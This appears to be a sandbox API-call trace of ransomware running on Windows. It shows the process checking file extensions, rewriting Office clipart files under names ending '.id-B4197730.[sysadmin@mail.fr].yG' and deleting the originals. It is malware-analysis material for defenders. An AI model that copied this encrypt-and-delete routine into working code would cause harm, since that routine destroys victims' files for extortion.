	[0057.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0057.094] lstrlenW (lpString=".1cd") returned 4
	[0057.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0057.094] lstrlenW (lpString=".jpg") returned 4
	[0057.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.094] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.094] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0057.094] GetLastError () returned 0x0
	[0057.094] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xb10, lpOverlapped=0x0) returned 1
	[0057.096] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xb20, lpOverlapped=0x0) returned 1
	[0057.097] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.097] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.097] SetEndOfFile (hFile=0x2f4) returned 1
	[0057.097] CloseHandle (hObject=0x2f4) returned 1
	[0057.098] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.098] SetEndOfFile (hFile=0x390) returned 1
	[0057.099] CloseHandle (hObject=0x390) returned 1
	[0057.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1
	[0057.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0057.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0057.100] lstrlenW (lpString=".doc") returned 4
	[0057.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.100] lstrlenW (lpString=".docx") returned 5
	[0057.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.100] lstrlenW (lpString=".pdf") returned 4
	[0057.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.100] lstrlenW (lpString=".xls") returned 4
	[0057.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.100] lstrlenW (lpString=".xlsx") returned 5
	[0057.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.100] lstrlenW (lpString=".ppt") returned 4
	[0057.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0057.100] lstrlenW (lpString=".zip") returned 4
	[0057.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.100] lstrlenW (lpString=".rar") returned 4
	[0057.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.100] lstrlenW (lpString=".bz2") returned 4
	[0057.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.100] lstrlenW (lpString=".7z") returned 3
	[0057.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0057.100] lstrlenW (lpString=".dbf") returned 4
	[0057.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0057.100] lstrlenW (lpString=".1cd") returned 4
	[0057.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0057.101] lstrlenW (lpString=".jpg") returned 4
	[0057.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.102] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.102] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0057.102] GetLastError () returned 0x0
	[0057.102] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x9456, lpOverlapped=0x0) returned 1
	[0057.113] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x9460, lpOverlapped=0x0) returned 1
	[0057.114] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.114] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.114] SetEndOfFile (hFile=0x2f4) returned 1
	[0057.114] CloseHandle (hObject=0x2f4) returned 1
	[0057.114] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.114] SetEndOfFile (hFile=0x390) returned 1
	[0057.115] CloseHandle (hObject=0x390) returned 1
	[0057.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1
	[0057.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0057.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0057.116] lstrlenW (lpString=".doc") returned 4
	[0057.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.116] lstrlenW (lpString=".docx") returned 5
	[0057.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.116] lstrlenW (lpString=".pdf") returned 4
	[0057.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.116] lstrlenW (lpString=".xls") returned 4
	[0057.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.116] lstrlenW (lpString=".xlsx") returned 5
	[0057.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.116] lstrlenW (lpString=".ppt") returned 4
	[0057.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0057.116] lstrlenW (lpString=".zip") returned 4
	[0057.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.116] lstrlenW (lpString=".rar") returned 4
	[0057.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.116] lstrlenW (lpString=".bz2") returned 4
	[0057.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.116] lstrlenW (lpString=".7z") returned 3
	[0057.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0057.116] lstrlenW (lpString=".dbf") returned 4
	[0057.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0057.116] lstrlenW (lpString=".1cd") returned 4
	[0057.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0057.116] lstrlenW (lpString=".jpg") returned 4
	[0057.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.117] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.117] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0057.117] GetLastError () returned 0x0
	[0057.117] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x318, lpOverlapped=0x0) returned 1
	[0057.860] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x320, lpOverlapped=0x0) returned 1
	[0057.865] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.865] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.866] SetEndOfFile (hFile=0x2f4) returned 1
	[0058.935] CloseHandle (hObject=0x2f4) returned 1
	[0058.935] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.935] SetEndOfFile (hFile=0x390) returned 1
	[0058.936] CloseHandle (hObject=0x390) returned 1
	[0058.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0058.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1
	[0058.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0058.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0058.936] lstrlenW (lpString=".doc") returned 4
	[0058.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0058.937] lstrlenW (lpString=".docx") returned 5
	[0058.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0058.937] lstrlenW (lpString=".pdf") returned 4
	[0058.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0058.937] lstrlenW (lpString=".xls") returned 4
	[0058.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0058.937] lstrlenW (lpString=".xlsx") returned 5
	[0058.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0058.937] lstrlenW (lpString=".ppt") returned 4
	[0058.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0058.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0058.937] lstrlenW (lpString=".zip") returned 4
	[0058.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0058.937] lstrlenW (lpString=".rar") returned 4
	[0058.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0058.937] lstrlenW (lpString=".bz2") returned 4
	[0058.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0058.937] lstrlenW (lpString=".7z") returned 3
	[0058.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0058.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0058.937] lstrlenW (lpString=".dbf") returned 4
	[0058.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0058.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0058.937] lstrlenW (lpString=".1cd") returned 4
	[0058.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0058.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0058.937] lstrlenW (lpString=".jpg") returned 4
	[0058.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0058.937] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.937] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0058.938] GetLastError () returned 0x0
	[0058.938] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x2708, lpOverlapped=0x0) returned 1
	[0059.661] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x2710, lpOverlapped=0x0) returned 1
	[0059.662] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0059.662] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0059.662] SetEndOfFile (hFile=0x2f4) returned 1
	[0059.662] CloseHandle (hObject=0x2f4) returned 1
	[0059.662] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.662] SetEndOfFile (hFile=0x390) returned 1
	[0059.663] CloseHandle (hObject=0x390) returned 1
	[0059.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0059.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1
	[0059.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0059.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0059.664] lstrlenW (lpString=".doc") returned 4
	[0059.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0059.664] lstrlenW (lpString=".docx") returned 5
	[0059.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0059.664] lstrlenW (lpString=".pdf") returned 4
	[0059.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0059.664] lstrlenW (lpString=".xls") returned 4
	[0059.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0059.664] lstrlenW (lpString=".xlsx") returned 5
	[0059.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0059.664] lstrlenW (lpString=".ppt") returned 4
	[0059.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0059.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0059.664] lstrlenW (lpString=".zip") returned 4
	[0059.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0059.664] lstrlenW (lpString=".rar") returned 4
	[0059.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0059.664] lstrlenW (lpString=".bz2") returned 4
	[0059.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0059.664] lstrlenW (lpString=".7z") returned 3
	[0059.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0059.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0059.664] lstrlenW (lpString=".dbf") returned 4
	[0059.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0059.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0059.664] lstrlenW (lpString=".1cd") returned 4
	[0059.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0059.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0059.664] lstrlenW (lpString=".jpg") returned 4
	[0059.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0059.665] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.665] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0059.665] GetLastError () returned 0x0
	[0059.665] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x8b2, lpOverlapped=0x0) returned 1
	[0061.053] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0061.054] ReadFile (in: hFile=0x390, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.054] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0061.054] SetEndOfFile (hFile=0x2f4) returned 1
	[0061.055] CloseHandle (hObject=0x2f4) returned 1
	[0061.055] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.055] SetEndOfFile (hFile=0x390) returned 1
	[0061.055] CloseHandle (hObject=0x390) returned 1
	[0061.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0061.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1
	[0061.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0061.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0061.056] lstrlenW (lpString=".doc") returned 4
	[0061.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0061.056] lstrlenW (lpString=".docx") returned 5
	[0061.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0061.056] lstrlenW (lpString=".pdf") returned 4
	[0061.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0061.056] lstrlenW (lpString=".xls") returned 4
	[0061.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0061.056] lstrlenW (lpString=".xlsx") returned 5
	[0061.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0061.056] lstrlenW (lpString=".ppt") returned 4
	[0061.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0061.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0061.056] lstrlenW (lpString=".zip") returned 4
	[0061.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0061.057] lstrlenW (lpString=".rar") returned 4
	[0061.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0061.057] lstrlenW (lpString=".bz2") returned 4
	[0061.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0061.057] lstrlenW (lpString=".7z") returned 3
	[0061.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0061.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0061.057] lstrlenW (lpString=".dbf") returned 4
	[0061.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0061.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0061.057] lstrlenW (lpString=".1cd") returned 4
	[0061.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0061.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0061.057] lstrlenW (lpString=".jpg") returned 4
	[0061.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0061.079] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.079] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0061.080] GetLastError () returned 0x0
	[0061.080] ReadFile (hFile=0x2f8, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0) 

Thread:
	id = 11
	os_tid = 0x4a0

